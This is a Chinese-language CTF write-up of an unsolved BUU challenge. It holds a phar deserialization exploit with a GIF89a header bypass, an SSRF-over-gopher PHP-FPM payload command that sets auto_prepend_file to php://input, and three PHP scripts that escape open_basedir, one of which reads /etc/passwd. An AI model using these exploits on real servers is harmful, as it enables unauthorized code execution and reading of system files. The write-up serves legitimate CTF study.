写在前面:这篇文章并没有把这道题目做出来,一直找不到内网提供PHP-FPM的主机ip,就一直卡在这个地方,目前自己的能力不够,还不能解决这道题;现在将这篇做题的记录发出来,记录学习过程,希望将来回过头来再做这道题的时候能得心应手
第一部分 phar反序列化+文件头和文件名检测绕过
buu平台上给的github源码链接失效了,直接看的wp,一个简单的pop链构造,然后利用phar反序列化
exp.php
<?php
class Easytest{
protected $test = '1';
}
class Main{
public $url="http://10.128.253.13";
}
//读/etc/hosts 发现不了内网ip
//需要读 /proc/net/arp
$a = new Easytest();
echo urlencode(serialize($a));
$b = new Main();
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER();?>");
$phar->addFromString("text.txt","text");
$phar->setMetadata($b);
$phar->stopBuffering();
rename("phar.phar","phar.gif");
第二部分 SSRF + gopher协议打fpm
1、首先了解fpm是什么,参考p神文章
- FastCGI record 类似HTTP协议,作用对象是服务器的中间件与后端语言进行通信
- FPM(FastCGI Process Manager 叫做FastCGI 进程管理器), FPM按照fastcgi的协议将TCP流解析成真正的数据
- Nignx 会把用户请求变成 key-value对(环境变量),交付给FPM。php-fpm拿到fast-cgi的数据包,进行解析,执行
SCRIPT_FILENAME
所指的文件
2、PHP-FPM未授权访问漏洞
security.limit_extensions
配置(php_fpm),这个字段限定了只有某些特定文件才能被执行,默认是.php- 由于第一条的那个配置,想要利用未授权访问漏洞,必须找一个服务器上存在php文件,通过
find / -name "*.php"
3、PHP-FPM任意代码执行
3.1、涉及到php.ini中两个有意思的配置
- auto_prepend_file 用法:在执行目标文件
之前
,先包含这个字段指向的文件,如果设置为php://input
,等于执行任何php文件前,都要包含post的内容,因此可以将待执行的代码放在body里 - auto_append_file 用法:在执行目标完成
之后
,包含这个字段指向的文件
3.2、涉及到PHP-FPM的两个环境变量,
-
PHP-VALUE 设置的模式包括
PHP_INI_USER
和PHP_INI_ALL
的选项 -
PHP-ADMIN-VALUE 除了disable_functions之外的所以选项
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
这个地方是个坑,还没找到内网的ip
找到开启fpm的ip,使用gopher脚本生成payload
python gopher.py 内网ip /var/www/html/index.php -p 9000 -c "<?php phpinfo();?>" -u
第三部分 绕过open_basedir的限制
1、首先open_basedir是什么
-
字面意思,开放的基本路径,作为php.ini中的一个配置选项,将用户的活动区域限定在指定目录
-
open_basedir限制的是前缀,而不是目录名,在以下的文件夹和文件都可以访问
-
若要限制仅在指定目录,需要用斜杠结束目录
phpinfo中的core部分
2、如何绕过open_basedir的限制
2.1、利用DirectoryIterator + Glob协议直接列举目录
代码如下:
<?php
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}
?>
2.2、利用ini_set读取文件内容
代码如下:
<?php
mkdir('tmpdir');
chdir('tmpdir');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
$a=file_get_contents('/etc/passwd');
var_dump($a);
?>
//这里的chdir("..");数量据具体环境修改,一般要求是如果再chdir一次就进入根目录为止
2.3、软链接绕过
代码如下:
<?php
mkdir("c");
chdir("c");
mkdir("d");
chdir("d");
chdir("..");
chdir("..");
symlink("c/d","tmplink");
symlink("tmplink/../../1.txt","exploit");
unlink("tmplink");
mkdir("tmplink");
echo file_get_contents("http://localhost/exploit");
?>